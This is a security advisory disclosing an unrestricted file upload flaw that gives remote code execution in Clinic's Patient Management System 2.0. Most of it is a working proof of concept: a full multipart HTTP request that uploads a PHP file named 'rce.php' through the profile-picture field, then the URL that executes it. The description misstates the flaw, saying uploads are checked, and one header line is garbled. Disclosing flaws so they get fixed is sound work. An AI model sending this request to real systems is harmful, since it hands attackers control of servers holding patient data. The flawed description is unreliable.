Title: Clinic's Patient Management System 2.0 Unrestricted file upload (RCE)

Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)

Date: 04.07.2022

Vendor: https://www.sourcecodester.com/users/tips23

Software: https://www.sourcecodester.com/php-clinics-patient-management-system-source-code

Version: 2.0

Reference: https://github.com/CyberThoth/CVE/blob/main/CVE/Clinic's%20Patient%20Management%20System/Unrestricted%20file%20upload%20(RCE)/POC.md

Description:

At the file upload function, the application system checks the validity of the file type, format, and content uploaded by the user, so that attackers can upload Webshell (.php, .jsp, asp, etc.) malicious script files or files in unexpected formats, such as: HTML files, SHTML files, etc., at the same time, you can use characters such as directory jump or control the upload directory to directly upload files to the Web directory or any directory, which lead to the execution of arbitrary malicious script files on the remote server, thereby directly obtaining application system permissions.

Payload used:

```
<?php phpinfo();?>
```

POC

```
POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close

------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="hidden_id"

1
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="display_name"

Administrator
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="password"
```

```
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="profile_picture"; filename="rce.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="save_user"


------WebKitFormBoundaryHTbuuF5mdaA9K4Fw--
```

Access below URL:

```
http://localhost/pms/user_images/1656897223rce.php
```